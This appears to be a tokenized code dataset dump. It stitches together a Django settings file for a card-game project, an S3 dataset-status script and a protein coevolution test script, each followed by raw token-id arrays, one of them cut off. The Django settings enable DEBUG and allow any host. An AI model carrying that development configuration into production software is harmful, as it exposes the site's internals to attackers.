29897, 1599, 1051, 29918, 974, 29918, 5552, 29879, 13, 268, 13, 1678, 3617, 278, 260, 1017, 8393, 363, 934, 553, 11709, 285, 29881, 29892, 408, 4477, 29901, 13, 1678, 518, 361, 3110, 29892, 310, 3110, 29892, 274, 15581, 29892, 301, 15581, 29892, 338, 412, 287, 29892, 2897, 412, 287, 29892, 21759, 29962, 988, 21759, 338, 263, 1051, 13, 1678, 310, 278, 260, 1017, 4266, 4890, 313, 4204, 263, 1347, 310, 3309, 29871, 29896, 29892, 5174, 278, 4452, 13, 1678, 411, 16285, 11400, 1177, 322, 478, 15307, 29892, 607, 526, 11920, 746, 1438, 4235, 526, 13, 1678, 3342, 467, 29871, 450, 19854, 310, 278, 13449, 322, 278, 961, 5779, 408, 1532, 408, 278, 13, 1678, 26190, 297, 278, 21759, 1409, 1818, 367, 2309, 773, 278, 5829, 293, 17727, 3342, 13, 1678, 297, 445, 3883, 29889, 13, 1678, 9995, 13, 1678, 1209, 13, 13, 1753, 260, 2395, 355, 8690, 29898, 11512, 29892, 14385, 1125, 396, 1855, 12608, 9815, 29936, 23119, 515, 4770, 1514, 1649, 13, 1678, 9995, 13, 1678, 260, 2395, 355, 8690, 29898, 11512, 29892, 14385, 29897, 1599, 6213, 13, 268, 13, 1678, 15076, 263, 2867, 373, 934, 553, 11709, 285, 29881, 29889, 13, 1678, 319, 5225, 14385, 16003, 263, 2867, 363, 29871, 29900, 29889, 29906, 29945, 29899, 29900, 29889, 29945, 6923, 29936, 263, 1661, 9171, 14385, 13, 1678, 756, 263, 1788, 14278, 6593, 29889, 13, 1678, 9995, 13, 1678, 1209, 13, 13, 1753, 260, 29883, 842, 5552, 29898, 11512, 29892, 746, 29892, 8393, 1125, 396, 1855, 12608, 9815, 29936, 23119, 515, 4770, 1514, 1649, 13, 1678, 9995, 13, 1678, 260, 29883, 842, 5552, 29898, 11512, 29892, 746, 29892, 8393, 29897, 1599, 6213, 13, 268, 13, 1678, 3789, 278, 260, 1017, 8393, 363, 934, 553, 11709, 285, 29881, 29889, 13, 1678, 450, 8393, 304, 367, 731, 526, 4586, 515, 278, 8393, 2980, 29892, 607, 13, 1678, 338, 263, 1051, 763, 278, 697, 4133, 491, 260, 29883, 657, 5552, 2141, 450, 746, 2980, 13, 1678, 3683, 1475, 746, 278, 8393, 526, 3939, 29901, 1840, 2363, 29889, 29911, 9295, 2190, 9806, 304, 13, 1678, 1735, 7389, 29892, 1840, 2363, 29889, 29911, 9295, 3035, 4717, 1177, 304, 1735, 1156, 18750, 5367, 599, 13, 1678, 712, 6742, 1962, 29892, 470, 1840, 2363, 29889, 29911, 9295, 5098, 29931, 3308, 29950, 304, 1735, 1156, 18750, 5367, 599, 13, 1678, 712, 6742, 1962, 322, 2313, 20272, 599, 712, 6742, 1881, 29889, 13, 1678, 9995, 13, 1678, 1209, 13, 13, 29937, 4413, 13, 13, 1990, 1059, 29898, 2451, 1125, 13, 1678, 396, 694, 1574, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 334, 5085, 29892, 3579, 19290, 1125, 396, 1855, 12608, 9815, 13, 4706, 1209, 13, 13, 1678, 4770, 25129, 999, 1649, 353, 2875, 29898, 2892, 1583, 29901, 1203, 3285, 14013, 1583, 29892, 325, 29901, 6213, 29892, 14013, 1583, 29901, 6213, 29897, 29871, 396, 2322, 13, 1678, 9995, 1761, 310, 8062, 9282, 304, 278, 1203, 313, 361, 3342, 5513, 15945, 13, 13, 13, 13, 29937, 3651, 411, 4280, 1819, 13, 13, 1649, 12657, 1649, 353, 6213, 396, 5384, 29897, 1855, 995, 338, 6629, 13, 13, 1649, 6550, 1649, 353, 6213, 396, 5384, 29897, 1855, 995, 338, 6629, 13, 13, 2 ]
praeteritum/settings.py
NoMariusz/Praeteritum
3
107020
<gh_stars>1-10 """ Django settings for praeteritum project. Generated by 'django-admin startproject' using Django 3.1.5. For more information on this file, see https://docs.djangoproject.com/en/3.1/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.1/ref/settings/ """ import os from pathlib import Path from dotenv import load_dotenv # Load environment variables dotenv_path = os.path.join(os.path.dirname(__file__), "../", '.env') load_dotenv(dotenv_path) # Build paths inside the project like this: BASE_DIR / 'subdir'. BASE_DIR = Path(__file__).resolve().parent.parent # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/3.1/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = os.environ['SECRET_KEY'] # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = ["*", "127.0.0.1"] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'frontend.apps.FrontendConfig', 'authentication.apps.AuthenticationConfig', 'cards.apps.CardsConfig', 'playerdata.apps.PlayerdataConfig', 'match.apps.MatchConfig', 'rest_framework', 'channels' ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', 'whitenoise.middleware.WhiteNoiseMiddleware', ] ROOT_URLCONF = 'praeteritum.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] ASGI_APPLICATION = 'praeteritum.asgi.application' CHANNEL_LAYERS = { 'dev': { 'BACKEND': 'channels_redis.core.RedisChannelLayer', 'CONFIG': { "hosts": [('127.0.0.1', 6379)], }, }, 'main': { 'BACKEND': 'channels_redis.core.RedisChannelLayer', 'CONFIG': { "hosts": [os.environ['MAIN_REDIS_CONNECT_STRING']], }, }, } DEFAULT_CHANNEL_LAYER = os.environ.get('DJANGO_CHANNEL_LAYER', 'dev') CHANNEL_LAYERS['default'] = CHANNEL_LAYERS[DEFAULT_CHANNEL_LAYER] # Database # https://docs.djangoproject.com/en/3.1/ref/settings/#databases DATABASES = { 'dev': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': BASE_DIR / 'db.sqlite3', }, 'main': { 'ENGINE': 'django.db.backends.postgresql', 'NAME': os.environ['MAIN_DB_NAME'], 'USER': os.environ['MAIN_DB_USER'], 'PASSWORD': os.environ['MAIN_DB_PASSWORD'], 'HOST': os.environ['MAIN_DB_HOST'], 'PORT': os.environ['MAIN_DB_PORT'], } } DEFAULT_DATABASE = os.environ.get('DJANGO_DATABASE', 'dev') DATABASES['default'] = DATABASES[DEFAULT_DATABASE] DEFAULT_AUTO_FIELD = 'django.db.models.AutoField' # Password validation # https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.' + 'UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.' + 'MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.' + 'CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.' + 'NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/3.1/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/3.1/howto/static-files/ STATIC_URL = '/static/' STATIC_ROOT = os.path.join(BASE_DIR, 'staticfiles') # Extra places for collectstatic to find static files. STATICFILES_DIRS = ( os.path.join(BASE_DIR, 'frontend/static'), ) STATICFILES_STORAGE = 'whitenoise.storage.CompressedManifestStaticFilesStorage' # Custom project configurations LOGIN_URL = '/login/'
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 15945, 29908, 13, 29928, 5364, 6055, 363, 7213, 1308, 277, 398, 2060, 29889, 13, 13, 24565, 491, 525, 14095, 29899, 6406, 1369, 4836, 29915, 773, 15337, 29871, 29941, 29889, 29896, 29889, 29945, 29889, 13, 13, 2831, 901, 2472, 373, 445, 934, 29892, 1074, 13, 991, 597, 2640, 29889, 19776, 574, 26555, 622, 29889, 510, 29914, 264, 29914, 29941, 29889, 29896, 29914, 3332, 1199, 29914, 11027, 29914, 13, 13, 2831, 278, 2989, 1051, 310, 6055, 322, 1009, 1819, 29892, 1074, 13, 991, 597, 2640, 29889, 19776, 574, 26555, 622, 29889, 510, 29914, 264, 29914, 29941, 29889, 29896, 29914, 999, 29914, 11027, 29914, 13, 15945, 29908, 13, 13, 5215, 2897, 13, 13, 3166, 2224, 1982, 1053, 10802, 13, 3166, 8329, 6272, 1053, 2254, 29918, 6333, 6272, 13, 13, 29937, 16012, 5177, 3651, 13, 6333, 6272, 29918, 2084, 353, 2897, 29889, 2084, 29889, 7122, 29898, 359, 29889, 2084, 29889, 25721, 22168, 1445, 1649, 511, 376, 6995, 613, 15300, 6272, 1495, 13, 1359, 29918, 6333, 6272, 29898, 6333, 6272, 29918, 2084, 29897, 13, 13, 29937, 8878, 10898, 2768, 278, 2060, 763, 445, 29901, 350, 8127, 29918, 9464, 847, 525, 1491, 3972, 4286, 13, 25416, 29918, 9464, 353, 10802, 22168, 1445, 1649, 467, 17863, 2141, 3560, 29889, 3560, 13, 13, 13, 29937, 26141, 29899, 2962, 5849, 6055, 448, 443, 2146, 8270, 363, 5802, 13, 29937, 2823, 2045, 597, 2640, 29889, 19776, 574, 26555, 622, 29889, 510, 29914, 264, 29914, 29941, 29889, 29896, 29914, 3525, 517, 29914, 16519, 358, 29914, 3198, 1761, 29914, 13, 13, 29937, 3725, 22484, 11937, 399, 25614, 29901, 3013, 278, 7035, 1820, 1304, 297, 5802, 7035, 29991, 13, 1660, 22245, 29911, 29918, 10818, 353, 2897, 29889, 21813, 1839, 1660, 22245, 29911, 29918, 10818, 2033, 13, 13, 29937, 3725, 22484, 11937, 399, 25614, 29901, 1016, 29915, 29873, 1065, 411, 4744, 6077, 373, 297, 5802, 29991, 13, 18525, 353, 5852, 13, 13, 1964, 27998, 3352, 29918, 20832, 29903, 353, 6796, 29930, 613, 376, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 3108, 13, 13, 13, 29937, 8427, 5023, 13, 13, 25580, 1964, 20566, 29918, 3301, 7024, 353, 518, 13, 1678, 525, 14095, 29889, 21570, 29889, 6406, 742, 13, 1678, 525, 14095, 29889, 21570, 29889, 5150, 742, 13, 1678, 525, 14095, 29889, 21570, 29889, 3051, 8768, 742, 13, 1678, 525, 14095, 29889, 21570, 29889, 29879, 10964, 742, 13, 1678, 525, 14095, 29889, 21570, 29889, 19158, 742, 13, 1678, 525, 14095, 29889, 21570, 29889, 7959, 5325, 742, 13, 1678, 525, 8862, 355, 29889, 13371, 29889, 29348, 355, 3991, 742, 13, 1678, 525, 23055, 29889, 13371, 29889, 16746, 3991, 742, 13, 1678, 525, 28160, 29889, 13371, 29889, 29907, 3163, 3991, 742, 13, 1678, 525, 9106, 1272, 29889, 13371, 29889, 9075, 1272, 3991, 742, 13, 1678, 525, 4352, 29889, 13371, 29889, 9652, 3991, 742, 13, 1678, 525, 5060, 29918, 4468, 742, 13, 1678, 525, 305, 12629, 29915, 13, 29962, 13, 13, 29924, 1367, 29928, 1307, 12982, 1525, 353, 518, 13, 1678, 525, 14095, 29889, 17662, 2519, 29889, 8926, 29889, 13228, 25411, 2519, 742, 13, 1678, 525, 14095, 29889, 21570, 29889, 29879, 10964, 29889, 17662, 2519, 29889, 7317, 25411, 2519, 742, 13, 1678, 525, 14095, 29889, 17662, 2519, 29889, 9435, 29889, 18877, 25411, 2519, 742, 13, 1678, 525, 14095, 29889, 17662, 2519, 29889, 2395, 9600, 29889, 29907, 29879, 9600, 1043, 25411, 2519, 742, 13, 1678, 525, 14095, 29889, 21570, 29889, 5150, 29889, 17662, 2519, 29889, 16746, 25411, 2519, 742, 13, 1678, 525, 14095, 29889, 21570, 29889, 19158, 29889, 17662, 2519, 29889, 3728, 25411, 2519, 742, 13, 1678, 525, 14095, 29889, 17662, 2519, 29889, 3808, 21452, 292, 29889, 29990, 4308, 5856, 25411, 2519, 742, 13, 1678, 525, 1332, 3537, 29877, 895, 29889, 17662, 2519, 29889, 21823, 3782, 895, 25411, 2519, 742, 13, 29962, 13, 13, 21289, 29918, 4219, 6007, 29943, 353, 525, 29886, 336, 1308, 277, 398, 29889, 26045, 29915, 13, 13, 4330, 3580, 29931, 1299, 2890, 353, 518, 13, 1678, 426, 13, 4706, 525, 29933, 11375, 11794, 2396, 525, 14095, 29889, 6886, 29889, 1627, 1975, 29889, 14095, 29889, 29928, 5364, 5776, 9884, 742, 13, 4706, 525, 9464, 29903, 2396, 19997, 13, 4706, 525, 20576, 29918, 9464, 29903, 2396, 5852, 29892, 13, 4706, 525, 14094, 27946, 2396, 426, 13, 9651, 525, 4703, 29918, 5014, 943, 2396, 518, 13, 18884, 525, 14095, 29889, 6886, 29889, 4703, 29918, 5014, 943, 29889, 8382, 742, 13, 18884, 525, 14095, 29889, 6886, 29889, 4703, 29918, 5014, 943, 29889, 3827, 742, 13, 18884, 525, 14095, 29889, 21570, 29889, 5150, 29889, 4703, 29918, 5014, 943, 29889, 5150, 742, 13, 18884, 525, 14095, 29889, 21570, 29889, 19158, 29889, 4703, 29918, 5014, 943, 29889, 19158, 742, 13, 9651, 21251, 13, 4706, 2981, 13, 1678, 2981, 13, 29962, 13, 13, 3289, 29954, 29902, 29918, 3301, 7390, 28541, 353, 525, 29886, 336, 1308, 277, 398, 29889, 294, 3146, 29889, 6214, 29915, 13, 3210, 2190, 29940, 6670, 29918, 18799, 23598, 353, 426, 13, 1678, 525, 3359, 2396, 426, 13, 4706, 525, 29933, 11375, 11794, 2396, 525, 305, 12629, 29918, 1127, 275, 29889, 3221, 29889, 9039, 275, 13599, 14420, 742, 13, 4706, 525, 25903, 2396, 426, 13, 9651, 376, 23525, 1115, 518, 877, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 742, 29871, 29953, 29941, 29955, 29929, 29897, 1402, 13, 4706, 2981, 13, 1678, 2981, 13, 1678, 525, 3396, 2396, 426, 13, 4706, 525, 29933, 11375, 11794, 2396, 525, 305, 12629, 29918, 1127, 275, 29889, 3221, 29889, 9039, 275, 13599, 14420, 742, 13, 4706, 525, 25903, 2396, 426, 13, 9651, 376, 23525, 1115, 518, 359, 29889, 21813, 1839, 29032, 29918, 19386, 3235, 29918, 6007, 8186, 1783, 29918, 20785, 2033, 1402, 13, 4706, 2981, 13, 1678, 2981, 13, 29913, 13, 13, 23397, 29918, 3210, 2190, 29940, 6670, 29918, 18799, 1001, 353, 2897, 29889, 21813, 29889, 657, 877, 29928, 29967, 2190, 17080, 29918, 3210, 2190, 29940, 6670, 29918, 18799, 1001, 742, 525, 3359, 1495, 13, 3210, 2190, 29940, 6670, 29918, 18799, 23598, 1839, 4381, 2033, 353, 5868, 2190, 29940, 6670, 29918, 18799, 23598, 29961, 23397, 29918, 3210, 2190, 29940, 6670, 29918, 18799, 1001, 29962, 13, 13, 13, 29937, 5470, 13, 29937, 2045, 597, 2640, 29889, 19776, 574, 26555, 622, 29889, 510, 29914, 264, 29914, 29941, 29889, 29896, 29914, 999, 29914, 11027, 8484, 29503, 2129, 13, 13, 25832, 27982, 29903, 353, 426, 13, 1678, 525, 3359, 2396, 426, 13, 4706, 525, 1430, 29954, 8895, 2396, 525, 14095, 29889, 2585, 29889, 1627, 1975, 29889, 22793, 29941, 742, 13, 4706, 525, 5813, 2396, 350, 8127, 29918, 9464, 847, 525, 2585, 29889, 22793, 29941, 742, 13, 1678, 2981, 13, 1678, 525, 3396, 2396, 426, 13, 4706, 525, 1430, 29954, 8895, 2396, 525, 14095, 29889, 2585, 29889, 1627, 1975, 29889, 29272, 742, 13, 4706, 525, 5813, 2396, 2897, 29889, 21813, 1839, 29032, 29918, 4051, 29918, 5813, 7464, 13, 4706, 525, 11889, 2396, 2897, 29889, 21813, 1839, 29032, 29918, 4051, 29918, 11889, 7464, 13, 4706, 525, 25711, 17013, 2396, 2897, 29889, 21813, 1839, 29032, 29918, 4051, 29918, 25711, 17013, 7464, 13, 4706, 525, 20832, 2396, 2897, 29889, 21813, 1839, 29032, 29918, 4051, 29918, 20832, 7464, 13, 4706, 525, 15082, 2396, 2897, 29889, 21813, 1839, 29032, 29918, 4051, 29918, 15082, 7464, 13, 1678, 500, 13, 29913, 13, 13, 23397, 29918, 25832, 27982, 353, 2897, 29889, 21813, 29889, 657, 877, 29928, 29967, 2190, 17080, 29918, 25832, 27982, 742, 525, 3359, 1495, 13, 25832, 27982, 29903, 1839, 4381, 2033, 353, 27640, 27982, 29903, 29961, 23397, 29918, 25832, 27982, 29962, 13, 13, 23397, 29918, 20656, 29949, 29918, 3738, 27286, 353, 525, 14095, 29889, 2585, 29889, 9794, 29889, 12300, 3073, 29915, 13, 13, 13, 29937, 25280, 8845, 13, 29937, 2045, 597, 2640, 29889, 19776, 574, 26555, 622, 29889, 510, 29914, 264, 29914, 29941, 29889, 29896, 29914, 999, 29914, 11027, 8484, 5150, 29899, 5630, 29899, 3084, 4097, 13, 13, 20656, 29950, 29918, 25711, 17013, 29918, 26707, 1299, 24125, 353, 518, 13, 1678, 426, 13, 4706, 525, 5813, 2396, 525, 14095, 29889, 21570, 29889, 5150, 29889, 5630, 29918, 18157, 6169, 718, 13, 18884, 525, 2659, 6708, 8942, 2327, 537, 24204, 742, 13, 1678, 2981, 13, 1678, 426, 13, 4706, 525, 5813, 2396, 525, 14095, 29889, 21570, 29889, 5150, 29889, 5630, 29918, 18157, 6169, 718, 13, 18884, 525, 8140, 12539, 6513, 24204, 742, 13, 1678, 2981, 13, 1678, 426, 13, 4706, 525, 5813, 2396, 525, 14095, 29889, 21570, 29889, 5150, 29889, 5630, 29918, 18157, 6169, 718, 13, 18884, 525, 18877, 10048, 24204, 742, 13, 1678, 2981, 13, 1678, 426, 13, 4706, 525, 5813, 2396, 525, 14095, 29889, 21570, 29889, 5150, 29889, 5630, 29918, 18157, 6169, 718, 13, 18884, 525, 29940, 25099, 10048, 24204, 742, 13, 1678, 2981, 13, 29962, 13, 13, 13, 29937, 4623, 2133, 13, 29937, 2045, 597, 2640, 29889, 19776, 574, 26555, 622, 29889, 510, 29914, 264, 29914, 29941, 29889, 29896, 29914, 3332, 1199, 29914, 29875, 29896, 29947, 29876, 29914, 13, 13, 29931, 19453, 29965, 10461, 29918, 16524, 353, 525, 264, 29899, 375, 29915, 13, 13, 15307, 29918, 29999, 12413, 353, 525, 26913, 29915, 13, 13, 17171, 29918, 29902, 29896, 29947, 29940, 353, 5852, 13, 13, 17171, 29918, 29931, 29896, 29900, 29940, 353, 5852, 13, 13, 17171, 29918, 29911, 29999, 353, 5852, 13, 13, 13, 29937, 624, 2454, 2066, 313, 19407, 29892, 8286, 29892, 1954, 1179, 29897, 13, 29937, 2045, 597, 2640, 29889, 19776, 574, 26555, 622, 29889, 510, 29914, 264, 29914, 29941, 29889, 29896, 29914, 3525, 517, 29914, 7959, 29899, 5325, 29914, 13, 13, 17816, 2965, 29918, 4219, 353, 8207, 7959, 22208, 13, 13, 17816, 2965, 29918, 21289, 353, 2897, 29889, 2084, 29889, 7122, 29898, 25416, 29918, 9464, 29892, 525, 7959, 5325, 1495, 13, 13, 29937, 7338, 336, 7600, 363, 6314, 7959, 304, 1284, 2294, 2066, 29889, 13, 17816, 2965, 24483, 29918, 9464, 29903, 353, 313, 13, 1678, 2897, 29889, 2084, 29889, 7122, 29898, 25416, 29918, 9464, 29892, 525, 8862, 355, 29914, 7959, 5477, 13, 29897, 13, 13, 17816, 2965, 24483, 29918, 1254, 1955, 10461, 353, 525, 1332, 3537, 29877, 895, 29889, 12925, 29889, 1523, 13120, 2517, 7004, 17046, 10547, 10486, 29915, 13, 13, 29937, 8701, 2060, 22920, 13, 13, 14480, 1177, 29918, 4219, 353, 8207, 7507, 22208, 13, 2 ]
scripts/dataset_status.py
neurodata/boss-export
0
184481
#%% import asyncio from datetime import datetime import aiofiles import aiohttp import pandas as pd OPEN_DATA_BUCKET_URL = "https://open-neurodata.s3.amazonaws.com" #%% def return_url_dataset(coll, exp, ch): return f"{OPEN_DATA_BUCKET_URL}/{coll}/{exp}/{ch}/info" #%% # read the data df = pd.read_csv("scripts/public_datasets_downsample.csv", na_filter=False) # removing empty/dev channels in boss df = df[(df["ch"] != "empty") & (df["ch"] != "dev")] # %% df["url"] = df.apply( lambda x: return_url_dataset(x["coll"], x["exp"], x["ch"]), axis=1 ) # %% outfname = "scripts/datasets_status_async.csv" header = df.to_csv(header=None) with open(outfname, mode='w') as f: f.write(",".join(df.columns.to_list()) + ",status_code" + "\n") async with aiohttp.ClientSession() as session: async with aiofiles.open(outfname, mode='a') as f: for _, dataset in df.iterrows(): async with session.get(dataset["url"]) as resp: await resp.text() data = ",".join(map(str, dataset.to_list())) + "," + str(resp.status) + "\n" await f.write(data) #%% df_to_do = pd.read_csv(outfname, na_filter=False) # we transferred these into a different prefix df_to_do.loc[(df_to_do["coll"] == "bock") | (df_to_do["exp"] == "kasthuri14s1colANNO"), "status_code"] = 200 df_to_do = df_to_do[df_to_do["status_code"] != 200] # %% df_to_do.to_csv("scripts/public_data_sets_to_tx.csv", index=False) print("done")
[ 1, 396, 7686, 13, 5215, 408, 948, 3934, 13, 3166, 12865, 1053, 12865, 13, 13, 5215, 263, 601, 5325, 13, 5215, 263, 601, 1124, 13, 5215, 11701, 408, 10518, 13, 13, 4590, 1430, 29918, 14573, 29918, 7838, 7077, 2544, 29918, 4219, 353, 376, 991, 597, 3150, 29899, 484, 2192, 1272, 29889, 29879, 29941, 29889, 17260, 10467, 29889, 510, 29908, 13, 13, 13, 29937, 7686, 13, 1753, 736, 29918, 2271, 29918, 24713, 29898, 22017, 29892, 1518, 29892, 521, 1125, 13, 1678, 736, 285, 29908, 29912, 4590, 1430, 29918, 14573, 29918, 7838, 7077, 2544, 29918, 4219, 6822, 29912, 22017, 6822, 29912, 4548, 6822, 29912, 305, 6822, 3888, 29908, 13, 13, 13, 29937, 7686, 13, 29937, 1303, 278, 848, 13, 2176, 353, 10518, 29889, 949, 29918, 7638, 703, 16713, 29914, 3597, 29918, 14538, 1691, 29918, 3204, 11249, 29889, 7638, 613, 1055, 29918, 4572, 29922, 8824, 29897, 13, 29937, 11077, 4069, 29914, 3359, 18196, 297, 289, 2209, 13, 2176, 353, 4489, 15625, 2176, 3366, 305, 3108, 2804, 376, 6310, 1159, 669, 313, 2176, 3366, 305, 3108, 2804, 376, 3359, 13531, 13, 13, 13, 29937, 17806, 13, 2176, 3366, 2271, 3108, 353, 4489, 29889, 7302, 29898, 13, 1678, 14013, 921, 29901, 736, 29918, 2271, 29918, 24713, 29898, 29916, 3366, 22017, 12436, 921, 3366, 4548, 12436, 921, 3366, 305, 3108, 511, 9685, 29922, 29896, 13, 29897, 13, 13, 13, 29937, 17806, 13, 449, 29888, 978, 353, 376, 16713, 29914, 14538, 1691, 29918, 4882, 29918, 12674, 29889, 7638, 29908, 13, 6672, 353, 4489, 29889, 517, 29918, 7638, 29898, 6672, 29922, 8516, 29897, 13, 2541, 1722, 29898, 449, 29888, 978, 29892, 4464, 2433, 29893, 1495, 408, 285, 29901, 13, 1678, 285, 29889, 3539, 28165, 1642, 7122, 29898, 2176, 29889, 13099, 29889, 517, 29918, 1761, 3101, 718, 9162, 4882, 29918, 401, 29908, 718, 6634, 29876, 1159, 13, 13, 12674, 411, 263, 601, 1124, 29889, 4032, 7317, 580, 408, 4867, 29901, 13, 1678, 7465, 411, 263, 601, 5325, 29889, 3150, 29898, 449, 29888, 978, 29892, 4464, 2433, 29874, 1495, 408, 285, 29901, 13, 4706, 363, 17117, 8783, 297, 4489, 29889, 1524, 5727, 7295, 13, 9651, 7465, 411, 4867, 29889, 657, 29898, 24713, 3366, 2271, 20068, 408, 4613, 29901, 13, 18884, 7272, 4613, 29889, 726, 580, 13, 18884, 848, 353, 9162, 1642, 7122, 29898, 1958, 29898, 710, 29892, 8783, 29889, 517, 29918, 1761, 22130, 718, 28796, 718, 851, 29898, 13713, 29889, 4882, 29897, 718, 6634, 29876, 29908, 13, 18884, 7272, 285, 29889, 3539, 29898, 1272, 29897, 13, 13, 13, 29937, 7686, 13, 2176, 29918, 517, 29918, 1867, 353, 10518, 29889, 949, 29918, 7638, 29898, 449, 29888, 978, 29892, 1055, 29918, 4572, 29922, 8824, 29897, 13, 29937, 591, 18440, 1438, 964, 263, 1422, 10944, 13, 2176, 29918, 517, 29918, 1867, 29889, 2029, 15625, 2176, 29918, 517, 29918, 1867, 3366, 22017, 3108, 1275, 376, 833, 384, 1159, 891, 313, 2176, 29918, 517, 29918, 1867, 3366, 4548, 3108, 1275, 376, 29895, 294, 386, 5338, 29896, 29946, 29879, 29896, 1054, 2190, 6632, 4968, 376, 4882, 29918, 401, 3108, 353, 29871, 29906, 29900, 29900, 13, 13, 2176, 29918, 517, 29918, 1867, 353, 4489, 29918, 517, 29918, 1867, 29961, 2176, 29918, 517, 29918, 1867, 3366, 4882, 29918, 401, 3108, 2804, 29871, 29906, 29900, 29900, 29962, 13, 13, 13, 29937, 17806, 13, 2176, 29918, 517, 29918, 1867, 29889, 517, 29918, 7638, 703, 16713, 29914, 3597, 29918, 1272, 29918, 7224, 29918, 517, 29918, 7508, 29889, 7638, 613, 2380, 29922, 8824, 29897, 13, 2158, 703, 15091, 1159, 13, 2 ]
team1/sca_test.py
NCBI-Codeathons/RAPID-EVALUATION-OF-STATISTICAL-STRATEGIES-FOR-PREDICTING-INTERACTIONS-AND-INFORMATION-TRANSFER-BETW
0
53858
#!/bin/python #sca_test.py import matplotlib.pyplot as plt import coevo2 as ce import itertools as it import numpy as np import copy import time reload(ce) names = ['glgA', 'glgC', 'cydA', 'cydB'] algPath = 'TestSet/eggNOG_aligns/slice_0.9/' prots = ce.prots_from_scratch(names,path2alg=algPath) ps = ce.ProtSet(prots,names) phylo_names = ['aspS','ffh','lepA','pgk','recN','rho','rpoA','ruvB','tig','uvrB'] phylo_prots = ce.prots_from_scratch(phylo_names,path2alg='TestSet/eggNOG_aligns/phylogenes/') phylo2 = ce.PhyloSet(phylo_prots) phylo2.set_indexer(thresh=7) for pt in phylo2.prots: # temporary fix for duplicated locus ids in the same msa pt.msa = pt.msa[~pt.msa.index.duplicated(keep='first')] phylo2.set_sim_mat() protsmats,pairmats,pairrandmats,sca_score,sca_score2 = ce.sca(ps,phylo2,delta=0.0001) for pt,sca in it.izip(ps.prots,protsmats): pt.sca_mat = sca for pair,sca_cat in it.izip(ps.pairs,pairmats): pair.sca_mat = sca_cat np.save('GettingStartedSCACalcs.npy',ps) print(sca_score2)
[ 1, 18787, 2109, 29914, 4691, 13, 29937, 29879, 1113, 29918, 1688, 29889, 2272, 13, 13, 5215, 22889, 29889, 2272, 5317, 408, 14770, 13, 5215, 1302, 29872, 1365, 29906, 408, 2257, 13, 5215, 4256, 8504, 408, 372, 13, 5215, 12655, 408, 7442, 13, 5215, 3509, 13, 5215, 931, 13, 13, 28120, 29898, 346, 29897, 13, 13, 7039, 353, 6024, 3820, 29887, 29909, 742, 525, 3820, 29887, 29907, 742, 525, 1270, 29881, 29909, 742, 525, 1270, 29881, 29933, 2033, 13, 9564, 2605, 353, 525, 3057, 2697, 29914, 387, 29887, 6632, 29954, 29918, 2520, 29879, 29914, 18337, 29918, 29900, 29889, 29929, 22208, 13, 771, 1372, 353, 2257, 29889, 771, 1372, 29918, 3166, 29918, 10526, 905, 29898, 7039, 29892, 2084, 29906, 9564, 29922, 9564, 2605, 29897, 13, 567, 353, 2257, 29889, 1184, 29873, 2697, 29898, 771, 1372, 29892, 7039, 29897, 13, 13, 11461, 417, 29918, 7039, 353, 6024, 4692, 29903, 3788, 600, 29882, 3788, 280, 29886, 29909, 3788, 4061, 29895, 3788, 3757, 29940, 3788, 4650, 3788, 29878, 1129, 29909, 3788, 582, 29894, 29933, 3788, 29873, 335, 3788, 4090, 29878, 29933, 2033, 13, 11461, 417, 29918, 771, 1372, 353, 2257, 29889, 771, 1372, 29918, 3166, 29918, 10526, 905, 29898, 11461, 417, 29918, 7039, 29892, 2084, 29906, 9564, 2433, 3057, 2697, 29914, 387, 29887, 6632, 29954, 29918, 2520, 29879, 29914, 11461, 1188, 25487, 29914, 1495, 13, 13, 11461, 417, 29906, 353, 2257, 29889, 4819, 29891, 417, 2697, 29898, 11461, 417, 29918, 771, 1372, 29897, 13, 11461, 417, 29906, 29889, 842, 29918, 2248, 261, 29898, 386, 3781, 29922, 29955, 29897, 13, 1454, 19592, 297, 1374, 29891, 417, 29906, 29889, 771, 1372, 29901, 29871, 396, 13201, 2329, 363, 5141, 9169, 1180, 375, 18999, 297, 278, 1021, 286, 4977, 13, 1678, 19592, 29889, 1516, 29874, 353, 19592, 29889, 1516, 29874, 29961, 30022, 415, 29889, 1516, 29874, 29889, 2248, 29889, 20908, 9169, 29898, 17462, 2433, 4102, 1495, 29962, 13, 11461, 417, 29906, 29889, 842, 29918, 3601, 29918, 2922, 580, 13, 13, 771, 1372, 29885, 1446, 29892, 18784, 29885, 1446, 29892, 18784, 9502, 29885, 1446, 29892, 29879, 1113, 29918, 13628, 29892, 29879, 1113, 29918, 13628, 29906, 353, 2257, 29889, 29879, 1113, 29898, 567, 29892, 11461, 417, 29906, 